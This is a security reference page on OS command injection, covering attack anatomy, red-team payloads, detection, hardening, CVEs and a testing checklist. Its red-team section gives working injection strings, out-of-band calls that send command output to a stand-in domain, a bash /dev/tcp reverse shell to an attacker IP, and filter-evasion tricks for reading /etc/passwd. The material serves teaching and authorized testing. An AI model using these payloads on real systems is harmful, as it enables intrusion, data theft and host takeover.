Command injection
OS command injection happens when the app builds a system command by concatenating user input and runs it in a shell. The attacker injects their own commands, which the server executes with the web process’s privileges. It usually leads to remote code execution (RCE): one of the highest-impact flaws, since it gives direct access to the host.
Threat model
Section titled “Threat model”RCE on the server, file read/write, secret and credential theft, reverse shell, pivot into the internal network, persistence and often full host compromise and whatever is behind it (DB, cloud).
Anatomy
Section titled “Anatomy”It appears in features that call system utilities through a shell:
ping/traceroute, converters (ffmpeg/ImageMagick), antivirus, thumbnailing, backups,
PDF export. If the code runs ping -c1 <host> via /bin/sh, metacharacters let
you chain commands:
; cmd2 | cmd2 || cmd2&& cmd2 & cmd2 $(cmd2) `cmd2` # substitution%0a cmd2 (newline)A separate case: argument injection, when you don’t control a shell but do control
a binary’s arguments (e.g. injecting --output or -o into curl/tar), which
can also lead to read/write or execution.
Variants
Section titled “Variants”- In-band: the command’s output returns in the response.
- Blind: you don’t see output; confirm by timing or OOB.
- Argument injection: injecting flags/options instead of commands.
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”Identify parameters that may end up in a command (hosts, filenames, conversion options, paths). Flag indirect ones (file metadata, headers passed to tools).
By hand
Section titled “By hand”# In-band: direct output127.0.0.1 && id127.0.0.1; uname -a
# Time-based blind (reliable even without output)127.0.0.1 & ping -c 5 127.0.0.1 # does the response take ~5s?127.0.0.1 | sleep 5
# OOB blind (confirm with your domain)127.0.0.1; nslookup $(whoami).oob.tld127.0.0.1; curl http://oob.tld/$(id|base64)To prove impact without damage: a reverse shell to your listener (authorized scope):
# victim127.0.0.1; bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'# attackernc -lvnp 4444Filter evasion
Section titled “Filter evasion”Techniques depending on the filter (authorized lab only):
# Filtered spacescat${IFS}/etc/passwd{cat,/etc/passwd}cat</etc/passwdcat%09/etc/passwd # %09 = tab
# Filtered keywords: quotes, concatenation, variables, globbingw'h'oami c""at /etc/passwd /bin/c?t /etc/passwda=who;b=ami;$a$becho d2hvYW1p | base64 -d | sh # "whoami" in base64
# Alternative separatorscmd1 $(cmd2) cmd1 `cmd2` cmd1%0acmd2 # %0a = newline if ; is filteredTooling
Section titled “Tooling”commix (automates detection/exploitation, incl. blind and OOB), interactsh/Burp
Collaborator for blind, and nc/socat for shells.
Impact and chaining
Section titled “Impact and chaining”RCE → secret exfiltration (.env, cloud keys, DB credentials) → pivot; if it runs in
a container, attempt escape; if it has a cloud role, account takeover.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- The web process (nginx/php-fpm/node) spawning shells or unusual binaries
(
sh,bash,nc,curl,whoami,id) — a strong EDR signal. - Anomalous child processes of the app server; outbound connections to odd IPs/ports (reverse shell).
- Repeated latency spikes (time-based blind) and outbound DNS to unknown domains (OOB).
Telemetry and sources
Section titled “Telemetry and sources”Process creation (auditd on Linux, Sysmon on Windows), EDR/XDR, app logs with the built command, and web-segment egress/DNS.
Hardening
Section titled “Hardening”- Avoid the shell. Don’t build command lines by concatenation. Use APIs that take
program + arguments as a list, with no interpreter:
subprocess.run([...], shell=False)(Python),execFile/spawnwithoutshell(Node),ProcessBuilder(Java). - If invoking binaries is unavoidable, strictly allow-list values and validate by pattern; never block-list metacharacters.
- Least privilege for the process (unprivileged user), container with
read-only FS,
seccomp/AppArmor/SELinux, and no unnecessary egress. - Prefer the language’s native libraries over calling OS utilities.
Response
Section titled “Response”Isolate the host, rotate every secret the process could reach, hunt for webshells/persistence, rebuild from a clean image, and patch the injection point.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Shellshock (CVE-2014-6271, 2014) — command injection in Bash via environment variables; remotely exploitable through CGI → mass RCE on servers and IoT.
- Apache Struts / Equifax (CVE-2017-5638, 2017) — an injection that led to command execution and enabled the breach of ~147 million people.
- Routers / cameras / IoT — command injection in web admin features (ping, diagnostics) is endemic and the basis of botnets like Mirai.
Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Direct and indirect parameters reaching a command identified.
- In-band (
id) or blind (timing/OOB) injection confirmed. - Evasion tested if filtered (
${IFS}, concatenation, encoding). - Argument injection evaluated when there’s no shell.
- Impact proven with a harmless (never destructive) command in scope.